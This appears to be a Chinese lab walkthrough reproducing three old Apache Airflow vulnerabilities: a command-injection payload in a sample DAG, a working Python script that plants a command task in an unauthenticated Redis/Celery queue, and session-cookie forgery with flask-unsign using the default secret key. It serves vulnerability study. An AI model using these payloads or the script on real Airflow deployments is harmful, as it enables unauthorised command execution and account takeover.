Apache Airflow

article/2025/8/28 21:48:36

目录

Apache Airflow是什么

CVE-2020-11978(Airflow 示例dag中的命令注入)

CVE-2020-11981(Airflow Celery消息中间件命令执行)

CVE-2020-17526(Airflow 默认密钥导致的权限绕过) 


Apache Airflow是什么

        Airflow是一个以编程方式编写,安排和监视工作流的平台。

使用Airflow将工作流编写任务的有向无环图(DAG),Airflow计划程序在遵循指定的依赖项,同时在一组工作线程上执行任务。丰富的命令使用程序使在DAG上执行复杂的调度变得轻而易举。可通过用户界面查看正在运行的管道,查看进度与排除故障。

CVE-2020-11978(Airflow 示例dag中的命令注入)

        漏洞成因:管理web页面里面示例dag存在命令注入。

版本要求:Airflow < 1.10.10

步骤1:访问Airflow管理页面,启动example_trigger_target_dag。

编辑Configuration JSON中注入命令{"message":"'\";touch /tmp/airflow_dag_success;#"},点击提交

命令注入后需等待工作流执行成功。

步骤2:执行成功后查看是否成功执行

CVE-2020-11981(Airflow Celery消息中间件命令执行)

        漏洞成因:利用中间件Celery自带的默认消息队列,在Redis里该list的默认队列名airflow.executors.celery_executor.execute_command,通过Redis未授权访问,写入命令到该任务。

版本要求:Apache Airflow < 1.10.10

Celery < 4.0

airflow.executors.celery_executor.execute_command是Apache Airflow中中间件Celery中关键的任务函数,功能是负责将任务分发给Celery worker节点执行,通过数组形式传递执行的命令及参数。

执行流程如下:

  • 接受命令和参数的数据作为输入[100,200],['touch','/tmp/file']
  • 通过Celery中间件(Redis/RabbitMQ)将任务序列化传输
  • Worker节点反序列化后调用系统接口执行命令

步骤1:该漏洞主要控制Redis未授权来将命令注入Celery中间件的任务队列中

利用脚本exploit_airflow_celery.py来完成操作

import pickle
import json
import base64
import redis
import sys
r = redis.Redis(host=sys.argv[1], port=6379, decode_responses=True,db=0) 
queue_name = 'default'
ori_str="{\"content-encoding\": \"utf-8\", \"properties\": {\"priority\": 0, \"delivery_tag\": \"f29d2b4f-b9d6-4b9a-9ec3-029f9b46e066\", \"delivery_mode\": 2, \"body_encoding\": \"base64\", \"correlation_id\": \"ed5f75c1-94f7-43e4-ac96-e196ca248bd4\", \"delivery_info\": {\"routing_key\": \"celery\", \"exchange\": \"\"}, \"reply_to\": \"fb996eec-3033-3c10-9ee1-418e1ca06db8\"}, \"content-type\": \"application/json\", \"headers\": {\"retries\": 0, \"lang\": \"py\", \"argsrepr\": \"(100, 200)\", \"expires\": null, \"task\": \"airflow.executors.celery_executor.execute_command\", \"kwargsrepr\": \"{}\", \"root_id\": \"ed5f75c1-94f7-43e4-ac96-e196ca248bd4\", \"parent_id\": null, \"id\": \"ed5f75c1-94f7-43e4-ac96-e196ca248bd4\", \"origin\": \"gen1@132f65270cde\", \"eta\": null, \"group\": null, \"timelimit\": [null, null]}, \"body\": \"W1sxMDAsIDIwMF0sIHt9LCB7ImNoYWluIjogbnVsbCwgImNob3JkIjogbnVsbCwgImVycmJhY2tzIjogbnVsbCwgImNhbGxiYWNrcyI6IG51bGx9XQ==\"}"
task_dict = json.loads(ori_str)
command = ['touch', '/tmp/airflow_celery_success']
body=[[command], {}, {"chain": None, "chord": None, "errbacks": None, "callbacks": None}]
task_dict['body']=base64.b64encode(json.dumps(body).encode()).decode()
print(task_dict)
r.lpush(queue_name,json.dumps(task_dict))

 分析该脚本执行的操作:

  • 建立Redis连接,使用第一个参数作为连接地址
  • 定义原始字符串ori_str,该字符串是按celery元数据格式编写
  • 将原始字符串ori_str转换解析为字典格式,json.loads操作是将json字符串转换成Python中的字典对象
  • 建立命令数组command,这是关键部分,其中定义了要执行的命令
  • 建立了新的主题内容body,包含了主体body和其他参数,其他参数为空
  • 将新的body进行了base64编码并替换了原本task_dict中的body主体
  • 最后将制作好的task_dict序列化后推送到Redis的任务队列中

总结来说就是

  • 连接Redis
  • 修改celery的任务的内容
  • 重新推送任务,等待执行 

 安装Redis,运行脚本修改任务

步骤2:查看执行结果

 docker-compose logs  airflow-worker

看里面关键信息,在那个节点执行了该操作,这里是在容器2d569bda7480中

进去看

 成功执行

CVE-2020-17526(Airflow 默认密钥导致的权限绕过) 

        漏洞成因:默认无需密钥登录,但是管理员可以通过指定webserver.authenticate=Ture来开启认证。在版本1.10.13之前,即使开启密钥认证,也可以通过默认密钥来绕过登录,并且伪造任意用户身份。

版本要求:Apache Aieflow < 1.10.13

Airflow有一个基于Flask(基于Python编写的轻量级web框架)开发web应用程序,该web程序使用Flask的无状态签名cookie来储存和管理身份验证信息。在安装时可以使用Airflow创建用户,该用户是管理员身份。

使用了默认的静态安全密钥对用户身份验证信息进行了签名,导致安全配置错误。当用户登录时,会产生一个默认的cookie,该cookie的名称为session。其中包含json格式的用户认证信息。json中名为user_id的密钥标识了登录的用户身份。该json使用airflow.cfg配置文件中字符串进行签名,该字符串在1.10.15到2.0.2版本之前,这个字符串默认是temporary_key。

静态字符签名问题,在本地部署相同版本的airflow,以管理员身份登录抓包,然后将地址定向到被攻击主机,拥有管理员权限后,可以查看其他用户的json字符串,也就是身份验证信息,抓取拿到本地破解就可以登录任意用户了。

步骤1:先获取名为session的cookie

使用curl的-v选项会显示请求和响应头

步骤2:使用flask-unsign来破解签名使用的secret_key

flask-unsign 

  • -c选项,无论是加密,解密,修改都要通过该选项提供数据
  • -u,解密被加密的cookie
  • -s,指定签名操作,并且需要传递一个用于签名的secret_key

 步骤3:破解出secret_key后,冒用管理员身份制作一个新的session(这是客户端登录的cookie,只是名称叫session)

步骤4:替换生成的cookie,尝试登录

 成功登录


http://www.hkcw.cn/article/VbHaxwuiOc.shtml

相关文章

word添加页眉

问题一&#xff1a; 为word文档添加页眉。 方法&#xff1a; 1、在要添加页眉的第一页页面顶端双击页眉区域&#xff0c;如果添加页眉页上面还有其他页或者与上一页添加页眉内容不同&#xff0c;记得取消“链接到前一节”&#xff08;点击使其上面没有灰色即可&#xff09;&…

word为跨页表格新加表头和表名

问题&#xff1a; 当表格过长需要跨页时&#xff08;如下图所示&#xff09;&#xff0c;某些格式要求需要转页接排加续表。 方法一&#xff1a; 1、选中表格&#xff0c;在“表布局”区域点开“自动调整”&#xff0c;选择“固定列宽”&#xff08;防止后续拆分表格后表格变…

C# 导出word 插入公式问题

最近遇到了一个问题&#xff0c;下载一个文档时需要下载word可编辑的公式。找了很久终于找到了一种解决办法。下面是以C#代码来实现在Word中插入公式的功能。 目录 一、引入dll程序集文件1、通过 NuGet 引入dll&#xff08;2种方法&#xff09;的方法&#xff1a;2、手动添加d…

GitHub 汉化插件,GitHub 中文化界面安装全教程

概述 GitHub作为全球最大的代码托管平台&#xff0c;拥有庞大的用户群体。对于中文用户来说&#xff0c;如果能将GitHub界面汉化&#xff0c;将大大提高使用体验和工作效率。本文将详细介绍如何通过安装汉化插件&#xff0c;实现GitHub界面的中文化。 感谢maboloshi作者的无私奉…

红 黑 树

AVL树是严格平衡的。 红⿊树是⼀棵⼆叉搜索树。 通过对任何⼀条从根到叶⼦的路径上各个结点的颜⾊进⾏约束&#xff0c;红⿊树确保没有⼀条路径会⽐其他路径⻓出2倍&#xff0c;因⽽是接近平衡的。即最长路径<最短路径的2倍。 红黑树规则&#xff1a; 1. 每个结点不是红⾊…

[ Qt ] | Qlabel使用

目录 属性 setTextFormat 插入图片 设置图片根据窗口大小实时变化 边框和对其方式 ​编辑 设置缩进 设置伙伴 Qlabel可以用来显式图片和文字 属性 text textFormat Qlabel独有的机制&#xff1a;buddy setTextFormat 插入图片 设置图片根据窗口大小实时变化 Qt中表…

智能座舱产品安全标准

目录 一、导览 二、意向 一、导览 国内近几年的电动汽车发展迅速&#xff0c;2024年4月16日&#xff0c;工信部装备工业一司组织主要汽车生产企业、部装备工业发展中心等近60名代表召开专题会议&#xff0c;重点落实《关于进一步加强智能网联汽车产品准入、召回及软件在线升级…

责任链模式:构建灵活可扩展的请求处理体系(Java 实现详解)

一、责任链模式核心概念解析 &#xff08;一&#xff09;模式定义与本质 责任链模式&#xff08;Chain of Responsibility Pattern&#xff09;是一种行为型设计模式&#xff0c;其核心思想是将多个处理者对象连成一条链&#xff0c;并沿着这条链传递请求&#xff0c;直到有某…

Sentieon项目文章 | 社区努力识别和纠正蛋白质基因组研究中标签错误的样本

关键词&#xff1a;多组学&#xff1b;蛋白质&#xff1b;错误标记&#xff1b; 引言 在日常生活中&#xff0c;会经常遇到物品与标签错误的问题&#xff0c;比如超市商品标价错误、图书馆书籍分类错误等。都会造成一些后果。在生物医学研究领域中&#xff0c;蛋白质样本标记错…

git reset --hard HEAD~1与git reset --hard origin/xxx

git reset --hard HEAD~1与git reset --hard origin/xxx git reset --hard origin/xxx有时候会太长&#xff0c;手工输入略微繁琐&#xff0c;可以考虑&#xff1a; git reset --hard HEAD~1 替代。 或者使用这种方式 git reset撤销当前分支所有修改&#xff0c;恢复到最近一…

Kotlin委托机制使用方式和原理

目录 类委托属性委托简单的实现属性委托Kotlin标准库中提供的几个委托延迟属性LazyLazy委托参数可观察属性Observable委托vetoable委托属性储存在Map中 实践方式双击back退出Fragment/Activity传参ViewBinding和委托 类委托 类委托有点类似于Java中的代理模式 interface Base…

2025年能源科学与农业发展国际会议:共创可持续农业未来

会议简介 第二届能源环境科学与农业发展国际会议即将在武汉盛大召开。此次盛会定于武汉这一中部地区的中心城市举办&#xff0c;旨在汇聚国内外能源环境科学与农业发展的专家学者、企业家及各界精英&#xff0c;共同探讨能源资源的高效利用、环境保护的科技创新以及农业可持续发…

MongoDB(七) - MongoDB副本集安装与配置

文章目录 前言一、下载MongoDB1. 下载MongoDB2. 上传安装包3. 创建相关目录 二、安装配置MongoDB1. 解压MongoDB安装包2. 重命名MongoDB文件夹名称3. 修改配置文件4. 分发MongoDB文件夹5. 配置环境变量6. 启动副本集7. 进入MongoDB客户端8. 初始化副本集8.1 初始化副本集8.2 添…

未来楼宇自控系统升级优化,为绿色建筑发展注入更强动力支撑

在全球积极应对气候变化、大力推进节能减排的时代背景下&#xff0c;建筑行业作为能源消耗和碳排放的重点领域&#xff0c;其绿色转型迫在眉睫。绿色建筑旨在减少对环境的负面影响&#xff0c;实现资源高效利用&#xff0c;而楼宇自控系统作为建筑智能化的核心组成部分&#xf…

【SQL Server Management Studio 连接时遇到的一个错误】

第一次用SQL Server Management Studio启动之后第一步就是要建立连接 但是不知道Server Name要填什么&#xff0c;看了网上的教程说是要找到下面这个注册表中对应的实例名称填上去&#xff0c;或者前面加localhost 但是好像都没有用&#xff0c;一直遇到报错如下&#xff1a;…

华为云Flexus+DeepSeek征文 | 初探华为云ModelArts Studio:部署DeepSeek-V3/R1商用服务的详细步骤

华为云FlexusDeepSeek征文 | 初探华为云ModelArts Studio&#xff1a;部署DeepSeek-V3/R1商用服务的详细步骤 前言一、华为云ModelArts Studio平台介绍1.1 ModelArts Studio介绍1.2 ModelArts Studio主要特点1.3 ModelArts Studio使用场景1.4 ModelArts Studio产品架构 二、访问…

【Redis】string 类型

string 一. string 类型介绍二. string 命令set、getmget、msetsetnx、setex、psetexincr、incrby、decr、decrby、incrbyfloatappend、getrange、setrange、strlen 三. string 命令小结四. string 内部编码方式五. string 的应用场景缓存功能计数功能共享会话手机验证码 六. 什…

字体查看器

为了快速找到0不带点、斜杠的等宽字体&#xff0c;我做了个软件&#xff01; sonichy/HTYFontViewer

Java与Python优劣分析及两者联姻收奇功

Python 和 Java 作为两种广泛使用的编程语言&#xff0c;在大多数场景下都能实现相似的功能。但由于语言设计初衷、生态系统以及社区偏好的不同&#xff0c;Python 在某些特定领域确实具有 Java 难以比拟的天然优势。 一、以下是几个典型场景优劣分析 1. 快速原型开发与脚本化…

6.OpenFeign服务接口调用

目录 OpenFeign服务接口调用 一、openFeign简介 二、、OpenFeign 通用步骤 接口注解 流程步骤 1. 建Module 2. 添加POM依赖 3. 编写YML文件 4. 主启动(修改类名为MainOpenFeign80) 5.OpenFeign业务类编写 测试&#xff08;远程调用&#xff09; 三、OpenFeign高级特…